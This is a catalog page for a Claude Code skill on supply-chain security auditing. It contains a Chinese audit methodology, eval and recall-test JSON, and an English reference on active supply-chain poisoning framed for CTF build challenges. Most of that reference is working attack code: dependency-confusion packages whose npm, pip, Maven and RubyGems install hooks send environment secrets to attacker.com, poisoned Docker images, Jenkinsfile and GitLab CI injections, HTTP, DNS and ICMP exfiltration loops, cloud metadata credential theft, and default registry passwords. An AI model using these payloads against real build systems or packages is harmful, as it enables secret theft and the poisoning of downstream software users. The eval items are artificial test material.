
Supply Chain Audit
- 15 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
supply-chain-audit is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- supply-chain-audit
- AI & Agent Building
- AI-coding skill
Supply Chain Audit by the numbers
- 15 all-time installs (skills.sh)
- Ranked #11,187 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill supply-chain-auditAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 15 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
供应链安全审计方法论
供应链攻击不需要突破目标的代码——只需要目标依赖的某个组件有漏洞或被投毒。
⛔ 深入参考(必读)
- 子域名接管、CDN/SRI 安全、第三方脚本风险、退役组件、风险评估矩阵 → references/supply-chain-deep.md
- 主动供应链攻击:Dependency Confusion、镜像投毒、CI/CD 注入、构建环境密钥窃取 → references/supply-chain-attack.md
Phase 1: 组件发现
前端 JS 库识别
katana -u http://target -silent -d 2从 HTML/JS 提取:<script src="...jquery-3.6.0.min.js"> → jQuery 3.6.0
后端技术栈
curl -sI http://target | grep -i "Server\|X-Powered-By\|X-AspNet"
httpx -u http://target -tech-detect -silent响应头:X-Powered-By: Express | Server: Apache/2.4.41 | X-AspNet-Version
子域名 → 第三方服务映射
subfinder -d target.com -silent
ksubdomain -d target.com检查 CNAME:status.target.com → statuspage.io | docs.target.com → gitbook.io
Phase 2: 已知漏洞关联
组件+版本 → CVE 匹配:
- jQuery < 3.5.0 → XSS | lodash < 4.17.21 → 命令注入
- Log4j 2.0-2.14.1 → RCE | Apache 2.4.49-2.4.50 → 路径穿越 RCE
nuclei -u http://target -severity critical,highPhase 3: 子域名接管
CNAME 指向已注销服务 → 攻击者注册 → 控制子域名内容 → 检测方法和可接管服务列表 → references/supply-chain-deep.md
Phase 4: CDN 和外部资源
无 SRI 的 CDN 引用 = CDN 被入侵即中招 → 详细评估方法 → references/supply-chain-deep.md
Phase 5: 主动供应链攻击(投毒)
当目标运行构建系统且使用私有包/镜像仓库时,可通过投毒获取构建环境中的 flag/密钥。
5.1 侦察构建环境
# 发现私有 Registry
curl -s http://registry:5000/v2/_catalog # Docker
curl -s http://nexus:8081/service/rest/v1/search # Nexus
curl -s http://verdaccio:4873/-/all | jq 'keys[]' # npm
# 从构建日志/配置提取内部包名
grep -r 'npm install\|pip install\|docker pull' /build/ /ci/5.2 Dependency Confusion
上传同名高版本包到公共/可写 Registry → 构建系统拉取攻击者的包 → install hook 执行恶意代码
5.3 镜像 Tag 覆盖
推送同 tag 的恶意镜像 → 下次构建拉取被毒化的 base image
5.4 构建环境 Flag 提取
env | grep -i flag
find / -name "flag*" 2>/dev/null
cat /run/secrets/*
# 通过 HTTP/DNS 外传
curl http://attacker/exfil -d "$(cat /flag*)"
nslookup $(cat /flag* | base64 -w0).attacker.com→ 完整攻击步骤和 payload → references/supply-chain-attack.md
注意事项
- 核心是完整性——漏掉一个组件就可能漏掉关键风险
- 子域名接管是最容易出成果的方向
{
"skill_name": "supply-chain-audit",
"evals": [
{
"id": 1,
"name": "supply-chain-version-cve-mapping",
"prompt": "你在目标网站源码中发现引用了 jQuery 3.4.1 和 Log4j 2.14.1。这两个版本有什么已知安全问题?",
"expected_output": "jQuery <3.5.0 受 CVE-2020-11022/11023 影响(XSS via htmlPrefilter)。Log4j 2.14.1 受 CVE-2021-44228(Log4Shell) 影响,CVSS 10.0,可远程代码执行",
"expectations": [
"jQuery|CVE-2020-11022|CVE-2020-11023|XSS",
"Log4j|CVE-2021-44228|Log4Shell|RCE",
"3.5.0|版本号|升级|修复版本",
"CVSS|严重|10.0|Critical",
"版本→CVE|已知漏洞|版本对应"
],
"required_terms": [
"jQuery",
"XSS",
"RCE"
]
},
{
"id": 2,
"name": "supply-chain-sri-check",
"prompt": "目标网页引用了外部 CDN 的 JS 文件:<script src=\"https://cdn.example.com/lib.js\"></script>。有什么安全风险?如何验证完整性?",
"expected_output": "风险:CDN 被劫持或供应链攻击时可注入恶意代码。应使用 SRI (Subresource Integrity):<script src=... integrity=\"sha384-xxxxx\" crossorigin=\"anonymous\">,浏览器会校验文件哈希",
"expectations": [
"SRI|Subresource Integrity|完整性校验",
"integrity|sha384|sha256|哈希|校验",
"CDN劫持|供应链攻击|恶意代码注入",
"crossorigin|anonymous|跨域",
"浏览器校验|不匹配拒绝|安全机制"
],
"required_terms": [
"SRI",
"integrity",
"sha384"
]
},
{
"id": 3,
"name": "supply-chain-subdomain-takeover",
"prompt": "DNS 记录显示 app.target.com CNAME → target-app.herokuapp.com,但访问 app.target.com 返回 Heroku 'No such app' 页面。这意味着什么?如何利用?",
"expected_output": "这是子域名接管(Subdomain Takeover)——Heroku 应用已删除但 CNAME 记录未清理。攻击者可在 Heroku 注册同名应用接管 app.target.com,托管钓鱼页面或窃取 cookie",
"expectations": [
"子域名接管|Subdomain Takeover|接管",
"CNAME|未清理|孤儿记录|dangling",
"Heroku|No such app|已删除|未使用",
"注册同名|接管域名|托管内容",
"钓鱼|cookie|利用|风险"
],
"required_terms": [
"CNAME",
"Subdomain Takeover",
"Heroku"
]
}
]
}
{
"skill_id": "supply-chain-audit",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "核心关键词",
"keywords": [
"supply chain",
"供应链",
"component"
]
},
{
"id": 2,
"type": "keyword_positive",
"description": "技术搜索",
"keywords": [
"cdn",
"npm",
"subdomain-takeover",
"组件安全"
]
},
{
"id": 3,
"type": "keyword_negative",
"description": "不应被race condition召回",
"keywords": [
"race condition",
"并发"
]
}
],
"llm_tests": [
{
"id": 1,
"name": "supply-chain-audit-scenario",
"scenario": "需要审计目标应用的第三方依赖安全性。请搜索供应链审计方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{
"tool": "list_skills",
"keyword_contains": "supply chain|供应链|dependency|依赖"
},
{
"tool": "read_skill",
"id": "supply-chain-audit"
}
]
}
]
}
Supply Chain Attack — Active Poisoning Methodology
This reference covers offensive supply chain attacks: dependency confusion, registry poisoning, CI/CD pipeline injection, and build-time secret exfiltration. Use when the target runs a build system that pulls packages from registries (npm, pip, maven, Docker/OCI) and you need to inject malicious code into the build process.
---
Table of Contents
1. Dependency Confusion 2. Container Image Poisoning 3. CI/CD Pipeline Injection 4. Build-Time Secret Exfiltration 5. Package Manager Install Hooks 6. CTF Supply Chain Attack Checklist
---
1. Dependency Confusion
When a build system queries both a private registry and a public registry (npmjs.com, pypi.org, maven central), a higher-version package on the public registry can override the private one. This is because most package managers default to "highest version wins" across all configured sources.
1.1 Recon: Identify Internal Package Names
Look for internal/private package names that don't exist on public registries:
# From source code / lockfiles
grep -r '"dependencies"' package.json | grep '@company/'
cat requirements.txt | grep -v '==' | grep -v '#'
cat pom.xml | grep '<artifactId>' | grep -i internal
# From the build system UI (Jenkins/GitLab CI/OpsFlow)
# Check build logs for `npm install`, `pip install`, `mvn install`
# Internal packages often have names like: company-utils, internal-auth, ops-core
# From private registry API (if accessible)
curl -s http://registry.internal:4873/-/all | jq 'keys[]' # Verdaccio
curl -s http://nexus.internal:8081/service/rest/v1/search?name=* # Nexus
curl -s http://registry.internal/v2/_catalog # Docker1.2 Check If Package Exists on Public Registry
# npm
curl -s https://registry.npmjs.org/<package-name> | jq '.error // .name'
# Returns "Not found" → available for takeover
# PyPI
curl -s https://pypi.org/pypi/<package-name>/json | jq '.info.name // "not found"'
# Maven Central
curl -s "https://search.maven.org/solrsearch/select?q=a:<artifactId>&rows=1" | jq '.response.numFound'If the package doesn't exist on the public registry → dependency confusion is possible.
1.3 Create Malicious Package (npm example)
{
"name": "internal-auth-utils",
"version": "99.0.0",
"description": "...",
"scripts": {
"preinstall": "curl http://attacker.com/exfil?data=$(env | base64 -w0)"
}
}# Publish to public npm
npm publish
# When the build system runs `npm install`, it fetches v99.0.0 from public npm
# instead of v1.2.3 from private registry → preinstall hook executes1.4 Create Malicious Package (pip example)
# setup.py
import os, subprocess
from setuptools import setup
from setuptools.command.install import install
class Exploit(install):
def run(self):
# Exfil build environment secrets
subprocess.Popen([
'curl', f'http://attacker.com/exfil',
'-d', os.popen('env').read()
])
install.run(self)
setup(
name='internal-auth-utils',
version='99.0.0',
cmdclass={'install': Exploit},
)python setup.py sdist
twine upload dist/*1.5 Defense-Aware Variants
| Defense | Bypass |
|---|---|
Scoped packages (@company/pkg) | npm scopes are tied to org — register the org if unclaimed |
Version pinning (==1.2.3) | Only works if lockfile is used; some CI skips lockfile |
| Hash verification | Rare in practice; most pip install doesn't use --require-hashes |
Priority config (.npmrc registry=) | If registry is only private, safe; if both listed, vulnerable |
| Namespace reservation | Check if the namespace is actually reserved on public registry |
---
2. Container Image Poisoning
When a build pipeline pulls images from a registry (Docker Hub, Harbor, private registry), you can poison the image to inject code into the build.
2.1 Tag Override Attack
If you have push access to the registry (e.g., via Harbor default creds, anonymous push):
# Pull the legitimate image
docker pull registry.internal/ops/base-image:latest
# Add malicious layer
cat > Dockerfile.poison <<'EOF'
FROM registry.internal/ops/base-image:latest
RUN curl http://attacker.com/exfil?flag=$(cat /run/secrets/* 2>/dev/null | base64 -w0) || true
EOF
docker build -t registry.internal/ops/base-image:latest -f Dockerfile.poison .
docker push registry.internal/ops/base-image:latest
# Next build will pull the poisoned image2.2 Typosquatting / Namespace Confusion
# If build uses: FROM company/admin-panel:latest
# And "company" org on Docker Hub is unclaimed:
docker tag malicious:latest company/admin-panel:latest
docker push company/admin-panel:latest2.3 Build Arg / Secret Extraction from Image Layers
Even without poisoning, existing images may leak secrets:
# Pull and inspect image history
docker pull registry.internal/ops/admin:latest
docker history --no-trunc registry.internal/ops/admin:latest
# Look for: ENV SECRET_KEY=..., ARG DB_PASSWORD=..., COPY .env
# Extract filesystem
docker save registry.internal/ops/admin:latest | tar xf -
# Each layer is a tar — search for secrets
find . -name "*.tar" -exec tar tf {} \; | grep -i "flag\|secret\|key\|password\|\.env"---
3. CI/CD Pipeline Injection
When you have access to the build system (Jenkins, GitLab CI, GitHub Actions, OpsFlow), inject commands into the build pipeline.
3.1 Build Configuration Poisoning
# If you can modify build config (Jenkinsfile, .gitlab-ci.yml, Dockerfile):
# Inject a build step that exfils secrets
# Jenkinsfile injection
echo 'stage("exfil") { steps { sh "curl http://attacker.com/exfil -d \$(env | base64 -w0)" } }' >> Jenkinsfile
# .gitlab-ci.yml injection
echo -e '\nexfil:\n script: curl http://attacker.com/exfil -d $(env | base64 -w0)' >> .gitlab-ci.yml
# Dockerfile injection (if build uses user-controlled Dockerfile)
echo 'RUN curl http://attacker.com/exfil?f=$(cat /flag* | base64 -w0)' >> Dockerfile3.2 Webhook / Build Trigger Abuse
# If the build system has a webhook trigger endpoint:
curl -X POST http://build.internal/api/trigger \
-H 'Content-Type: application/json' \
-d '{"ref": "main", "variables": {"INJECT": "; curl http://attacker.com/exfil?e=$(env|base64)"}}'3.3 Shared Runner / Build Agent Escape
# On shared CI runners, check for:
# - Docker socket mounted: /var/run/docker.sock
# - Kubernetes service account: /var/run/secrets/kubernetes.io/
# - Cloud metadata: curl http://169.254.169.254/latest/meta-data/
ls -la /var/run/docker.sock
cat /var/run/secrets/kubernetes.io/serviceaccount/token
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/---
4. Build-Time Secret Exfiltration
Once you have code execution in the build environment, extract secrets (flag):
4.1 Environment Variables
# Most CI/CD systems inject secrets as env vars
env | grep -i "flag\|secret\|key\|token\|password\|credential"
printenv
cat /proc/self/environ | tr '\0' '\n'4.2 Mounted Files
# Docker secrets
cat /run/secrets/*
ls -la /run/secrets/
# Kubernetes secrets
cat /var/run/secrets/kubernetes.io/serviceaccount/token
ls -la /var/run/secrets/
# Build context files
find / -maxdepth 4 -name "flag*" -o -name ".env" -o -name "*.key" -o -name "credentials*" 2>/dev/null4.3 Exfiltration Methods
# HTTP — simplest
curl http://attacker.com/exfil -d "$(cat /flag* | base64 -w0)"
# DNS — bypasses most egress filters
flag=$(cat /flag* | base64 -w0)
nslookup ${flag}.attacker.com
# DNS chunked (for long data)
data=$(cat /flag* | base64 -w0)
for i in $(seq 0 63 ${#data}); do
chunk=${data:$i:63}
nslookup ${chunk}.${i}.attacker.com
done
# ICMP — if DNS is blocked too
ping -c 1 -p $(cat /flag* | xxd -p | head -c 32) attacker.com
# Build output — embed in build artifact
echo "FLAG=$(cat /flag*)" >> /app/build/output.log4.4 Blind Exfiltration (No Outbound Network)
When the build environment has no outbound connectivity:
# Embed in build artifact / image label
docker build --label "flag=$(cat /flag*)" .
# Write to shared volume / cache that persists between builds
echo "$(cat /flag*)" > /cache/exfil.txt
# If registry is internal — push a new image with the secret as a tag
docker tag scratch registry.internal/exfil:$(cat /flag* | tr -d '{}')
docker push registry.internal/exfil:$(cat /flag* | tr -d '{}')
# Modify an existing artifact the attacker can later retrieve
echo "$(cat /flag*)" >> /app/public/robots.txt---
5. Package Manager Install Hooks
Each package manager has hooks that execute during install — the primary code execution vector for dependency confusion.
npm (Node.js)
{
"scripts": {
"preinstall": "node -e \"require('child_process').exec('curl http://attacker.com/?d='+require('os').hostname())\"",
"install": "...",
"postinstall": "..."
}
}npm v7+ runs lifecycle scripts in a restricted environment by default. Use --ignore-scripts=false or target older npm versions.pip (Python)
# setup.py — executes during `pip install`
from setuptools import setup
from setuptools.command.install import install
import os
class Backdoor(install):
def run(self):
os.system("curl http://attacker.com/exfil -d $(env | base64 -w0)")
install.run(self)
setup(name='target-pkg', version='99.0.0', cmdclass={'install': Backdoor})Maven (Java)
<!-- pom.xml — exec-maven-plugin runs during build -->
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<executions>
<execution>
<phase>initialize</phase>
<goals><goal>exec</goal></goals>
<configuration>
<executable>sh</executable>
<arguments>
<argument>-c</argument>
<argument>curl http://attacker.com/exfil -d $(env | base64 -w0)</argument>
</arguments>
</configuration>
</execution>
</executions>
</plugin>RubyGems (Ruby)
# ext/extconf.rb — executes during `gem install`
require 'mkmf'
system("curl http://attacker.com/exfil -d $(env | base64 -w0)")
create_makefile('dummy')Go Modules
Go modules don't have install hooks, but go generate can execute arbitrary commands if .go files contain //go:generate directives.
---
6. CTF Supply Chain Attack Checklist
For CTF challenges involving build systems / CI/CD / supply chains:
□ Recon the build system
□ What platform? (Jenkins, GitLab CI, custom OpsFlow, etc.)
□ What triggers builds? (cron, webhook, git push, manual)
□ What packages/images does it pull? From where?
□ Can you access the private registry? (Harbor/Nexus/Verdaccio/npm)
□ Registry access
□ Try default creds (Harbor: admin/Harbor12345, Nexus: admin/admin123)
□ Try anonymous access (GET /v2/_catalog, GET /-/all)
□ Can you push images/packages? (anonymous push, weak ACL)
□ List all packages/images and their versions
□ Dependency confusion
□ Identify internal package names from build logs/config
□ Check if they exist on public registry
□ Create higher-version package with install hook
□ Wait for next build to pull your package
□ Image poisoning
□ Can you push to the private registry?
□ Tag override: rebuild base image with malicious layer
□ Wait for next build to use poisoned image
□ Build config injection
□ Can you modify Jenkinsfile / Dockerfile / .gitlab-ci.yml?
□ Can you modify build parameters / environment variables?
□ Can you trigger a build with custom parameters?
□ Secret extraction
□ env / printenv / /proc/self/environ
□ /run/secrets/* / mounted volumes
□ find / -name "flag*"
□ Exfil via HTTP/DNS/build artifact供应链深度审计技术
子域名接管(Subdomain Takeover)
原理
blog.target.com CNAME → target.ghost.io
如果 target.ghost.io 已被注销 → 攻击者可注册该 Ghost 账号 → 控制 blog.target.com检测
对每个子域名的 CNAME 记录检查:
- DNS 解析返回
NXDOMAIN但 CNAME 仍存在 - 访问返回 "There isn't a GitHub Pages site here"、"No such app"、"Domain not configured"
- 常见可接管服务:GitHub Pages、Heroku、AWS S3、Shopify、Tumblr、Fastly
CDN 和外部资源安全
CDN 配置
- 有 SRI 则安全:
<script src="..." integrity="sha384-..."> - 无 SRI,CDN 被入侵即中招:
<script src="..."> - 公共 CDN(cdnjs, jsdelivr)被投毒影响所有用户
第三方脚本风险
嵌入的第三方 JS 拥有和自有脚本相同的权限:
- Google Analytics / Tag Manager
- 在线客服(Intercom, Zendesk)
- A/B 测试脚本、支付 SDK
任何一个被入侵都等于目标被入侵(Magecart 类攻击)。
退役/停止维护的组件
比有 CVE 更危险的是完全停止维护的组件:
- AngularJS 1.x(2021年末停止支持)
- Python 2.x
- jQuery UI(安全更新很少)
- Moment.js(已停止开发)
风险评估矩阵
| 风险等级 | 发现 |
|---|---|
| 严重 | 已知 RCE CVE 的组件版本(Log4Shell, Spring4Shell) |
| 高危 | 可接管的子域名、无 SRI 的 CDN 引用 |
| 中危 | 已知 XSS/信息泄露 CVE 的组件 |
| 低危 | 退役组件、过时版本但无已知 CVE |
| 信息 | 第三方脚本清单、技术栈概览 |